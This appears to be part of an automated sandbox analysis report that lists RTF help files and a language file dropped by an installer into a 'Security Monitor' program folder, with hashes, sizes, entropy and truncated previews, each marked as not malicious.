Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharse

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	61874
Entropy (8bit):	5.01308589618829
Encrypted:	false
SSDEEP:	768:qOF2whYDh4GQgJAqxAUZ8ipwQduXyufTM3wEmgIqvNNb+S/5lqmhIFBjMpVWH3WA:qOQxqiBXZko0
MD5:	149EB3F389063EE27E719BA447DAD74E
SHA1:	1A4BF26BB1082D14EFDE795E2EC0E2357F0A3E74
SHA-256:	61576A27746879AC99F0F0A588FA18BD49A62908A3EF1CBD0446F3F3D18CD0FD
SHA-512:	F72E59E3935176D0D8E659F64FB344EBAE43928C7F53633160E8D7F34F2EAA0C9C738EE0DC87F14E1C35D822BB0B3247C3F427FF657F97C0E73463C116D29799
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharse

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38881
Entropy (8bit):	5.021685226499464
Encrypted:	false
SSDEEP:	768:jnTmrRl+4AnbIWIRV9u6KSsouXIhUGD+hZCZHHuJfD:jnIZNkfD
MD5:	C105B94880EE7C216A6B9CB11680EE5F
SHA1:	DB8A5F0969428FC77D619742CF14E733281491EE
SHA-256:	1F56475447CBCFC209E9BC0BEF763423EA52CDBC4EBB989EC592025C907C8EAF
SHA-512:	18D9F4336DCD746E374B70D297F5F555745CCBFCDE08689B50BEF3C2CD7A7714867F747472240EE195161142C3DC8A93C985FE6D8D66D7F46878C25B45D99A67
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \fnil\fcharset134\fprq2{\\panose 0201

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44111
Entropy (8bit):	5.034804043043812
Encrypted:	false
SSDEEP:	768:jaOfIRlU4LgJAqxAUZa25iMSf3TaCkqooYidqm4eEHEvsEJ5sCXSIKEjZHHuJfM:jap7NkfM
MD5:	D6C4CE3A479398A0C89448CF3D344268
SHA1:	03399F4D355A631C8504B35AA82238E444D2A75E
SHA-256:	56DA26981FD5603C5BB388D63B900EF90B42234F9FA6EA48BC7650BC609CC187
SHA-512:	838AE1B09A693DE3A21C37087192C58F56D1D318A6265DA290CA1AB449DA85716BDD8B0D32B0D6D37EAADEDD2D8B89F31BC1F8A800A28B058286490A4720E9D0
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fchar

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	55605
Entropy (8bit):	5.01205567474232
Encrypted:	false
SSDEEP:	768:joOfxRl14hJboyQZFJiMJu8WjbvMuhisSnPLQStqICnfLrajKyISfle0anZf1L3v:joQxkONkfp
MD5:	2042C1CEA9DAB7F908912F3BFDF63E63
SHA1:	5584A50BCAF968B5EC85B230E9043456D38C8222
SHA-256:	D67F0917369F9D4C556E2F625566C239FEE4DDB6AEF1483DCB2556F23DD3785B
SHA-512:	B0C961BA725096E33D3B586951221A35A77A56D63E0003C301AD30F6D6DB94DF6853124EFE7FE8817F7EEF9F7972434AFC65010885BCE4A9BEFB60D7FF9A5679
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 020206030504050

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43205
Entropy (8bit):	5.029790593334823
Encrypted:	false
SSDEEP:	768:joOfYRlj4lmbIWIRV9hiuFfmXYPxz7XzzMVFGqpJzVnz2T8VngbYh8snZHHuJfO:joblNkfO
MD5:	D4CB2191EA1740D821C8C26C19033BE6
SHA1:	3544CFF8E4BCF6BA57A63585AD6DAA2D244DC6D3
SHA-256:	7C075B420A250AC2F36DDAC2834B422FF8B858B0D6E02A9BF7AA5A40FFF6AB39
SHA-512:	D23AB39C0ABA07D99D7F03FAB498C2DADC81247FBC98DD758ABB94413041778BA5A83372F0F5AC20911B1C5F6B61313D6EBA26E966110F482B6B23D3BDAD94CF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 020206030504050

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44016
Entropy (8bit):	5.032158423293101
Encrypted:	false
SSDEEP:	768:jaOfIRlR4kgJAqxAUZC25iMSf3TIDgE6/o4WGrHwoKkASAt4Nb4B9SZHHuJf5:japUUNkf5
MD5:	CA0B924C577837EAB433DFACF50B0A2B
SHA1:	5FE70BC33A1A72354EB7CFA7327F993383F5CBF3
SHA-256:	62C5D1371C91B454DDE8DF1DB0D628EE59917A766E42475FD17F6EA1E168837F
SHA-512:	A1A20927E1DD4F3F63D8F9D69C23A4C62920C65972B4967BDE5C6FB49EE375B0FD3BC56F57DDB190C267921779A506C42960AA1E9BD7AF979CF6EBB954AD6925
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fchar

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42824
Entropy (8bit):	5.034062607884397
Encrypted:	false
SSDEEP:	768:jFTmHRlU4U7bIWIRV9pqHjiqlO8Dxg+uoH6ewDiUpk8q8l9kSZHHuJfo:jFulNkfo
MD5:	800E7AD84A7B41C281A79786FEA7BA97
SHA1:	994E9061F0AC0F8D5A34B5456B3CB580216F08F6
SHA-256:	6D4DC10220486F098944FBCE97F8B5D03DA6157F7B59F79AF697D60AEDBDAC82
SHA-512:	887318DB58E88701D2B34B7E894EE2132684D0E3C724BC1B6EBA83C5987ECC1D7984018C8915AD0E7EE63E46C8C4258D7F286D2CE804DDFB37289F37676EB5F8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}..{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	46478
Entropy (8bit):	5.035284697457925
Encrypted:	false
SSDEEP:	768:jFTmHRlr4QogJAqxAUZ81f4igFt5hCteYHIGdLN1Ho3SShcYZVVkiikVi/nuAIRD:jFuqNkfh
MD5:	7EA6627CEC93F45827C17C30BFE21F60
SHA1:	BA5C79789734B4CD143BAAE12DECE8C07FD18427
SHA-256:	6FFBE7F2A89F1128FA7A950F7B1797E2B73E70839FB7EB79EE5B906C50CB8665
SHA-512:	D8C7ED9808A9045B0BE3D247C06F81FB5563F86DAAC704EB1D056AF0799716B6FA0470D81698F28EE72C5B937E0825F1CE42A9F354CA4C61173A0E72DFCB79ED
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}..{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38875
Entropy (8bit):	5.023304885435034
Encrypted:	false
SSDEEP:	768:qMF2weYDc4L7bIWIRV9uUwcpanBczRyZHHuJfv:qM3ZxNkfv
MD5:	AA188680DBFDD29FCFD5767CFC4533D9
SHA1:	3CF7AC902EE42B074B4B5ED13E4529FD11A34ADD
SHA-256:	CC3FA96A625899F9221F3E76B6AB9C7B234DC7A4222C914EC9A78A7AA2D64825
SHA-512:	76C22CF016FF8C7C1122E5738FDCF79957D24A4590EAD2FE570CA833D1CF828F8B333CD105B2078AEF2032C503C03BC2536290E5302417D383889045E3B84817
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	27393
Entropy (8bit):	5.064150437041318
Encrypted:	false
SSDEEP:	768:lBliK0GRTzXqMKGCYv/DOo8eKjHHhSvMonfGQ3R:8KLTz/4WCo8eaHhW7n+QB
MD5:	9087FB9892DDAA830650011299AF2670
SHA1:	FF023B1F38F5B7D093C4F2AAB3470B1575BFA806
SHA-256:	969FC0043D05C76A4FBD148A0087DB9768B62D1DA17212D11A50F0A4A77CCBFC
SHA-512:	D0A9F5FFA8752A01F04B2B61024575E270D53FF5D30180EB4C3FC70C2A5A3D7A794DBE7B596CEC08E0554514D4113C2EC218B3C6533F0B3B952148C46DB8781A
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..##############################################################################..# ........! .. ....... ........ ..... ..... .. ..... "="!..##############################################################################..tbStart="....."..tbStartHint="...... ...... ......."..tbStop="...."..tbStopHint="......... ...... ......."..tbFind="....."..tbFindHint="..... .......... . ...."..tbSetting="........."..tbSettingHint="......... ........."..tbAbout=". ......"..tbAboutHint=". ......... / ............... .........."..tbHomePage=".. ...."..tbHomePageHint="....... ........ ........ ........."..tbToday="......."..tbTodayHint="....... . ............ ...."..tbHide="......"..tbHideHint="......... ..... (... ..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\McAfee_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50965
Entropy (8bit):	4.9704278921640555
Encrypted:	false
SSDEEP:	768:2aFkzOc7cskl/VGGAf+E2aiImsQZ/6A91:2aqz+aGIA91
MD5:	B4BB6B054B4A31DE24E87AC030375781
SHA1:	9DFAB2ACC25BA7B468C695E26B953D3E51987121
SHA-256:	B9AB1C6AC6061D9912ACFDF1499C8F4A22D92F950B27BE87BE7B4E0C631EA193
SHA-512:	39CC26F5008F356B8C30551E4B425BCF180662159A308846CD605A5B82E215C63CF5EAEB7A44996E4C39942DDB47FD30AEAF116B671DEA5073E906355244FE2C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	49985
Entropy (8bit):	5.016054674805171
Encrypted:	false
SSDEEP:	768:qqegxdUjOcPI0QhhiLVptabQhOsWxspoudZdRdud9dWlxjRw4L41PcQhiuOdcJpw:qqH7UnexIA9k
MD5:	6817C14DB33376EA13F5135582FEF07A
SHA1:	AC55EF25E5BA0C63319C2B7750AD3FB3B6141D1D
SHA-256:	8E6A77CDCF0EB74491B22151BCC19798620754E7F069D76227F8C2C1E28778B7
SHA-512:	81B3E721842C1F1CA3581AF69CB6495756EECAFD14385C512E5CEDFAF98BBED387D6B9AB27ED76754B17FFDB8B2E5414108702BD6E5B4A8DA27E821D9D7FF3B6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38593
Entropy (8bit):	5.02789644916169
Encrypted:	false
SSDEEP:	768:q4e6xdUjOcPI0QhhiLVpUGXnT9bZhdfGjlrqCHy/RKECA13GPkmZ/6A9S:q4L7UnoIA9S
MD5:	030CBC2FE247F98453B82ABC39C3C966
SHA1:	D5F3102D3878F32C5A5FC7AEE0AF3F63DDB74119
SHA-256:	88E89133FC2542C74552BC4AD65320B01F08ED3A1E5269C008A0236BAF0C0893
SHA-512:	86109DEF32876A40F30B9A4D7D5366BE4FA07D62F3019CC269F3F1A7BD68C2C6597BD2341E0CEAC72951D2B8C66DAEBBE46278ECCAE7CC4D54F32FA9C5B833ED
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42126
Entropy (8bit):	5.024542957132508
Encrypted:	false
SSDEEP:	768:q4e94jXjOcPI0QhhiLVtwYMgT+h6asH7UlKBGcg5dEmR7iC//+U1zfymCRwFOcEz:q49OUnwIA92
MD5:	08B4567798ABE579F2D14EA033F94E31
SHA1:	28E3F5CB129DB9B3B33E104773609BF86C8A6861
SHA-256:	2EEB8BAA34230B1D075F9E9C59289BC3B1ACDAB08EF0A181A1FB43F6F3F1BD41
SHA-512:	7F8F5598E931CCCBB0F259AFDF369E7A8FDCBBFE1C222EE8B4D5FF16FE502D4F9BDF54799D3C8420FC5903624DCC7E0412197A067FBA3EF82862ECD491C6F312
Malicious:	false
Reputation:	unknown
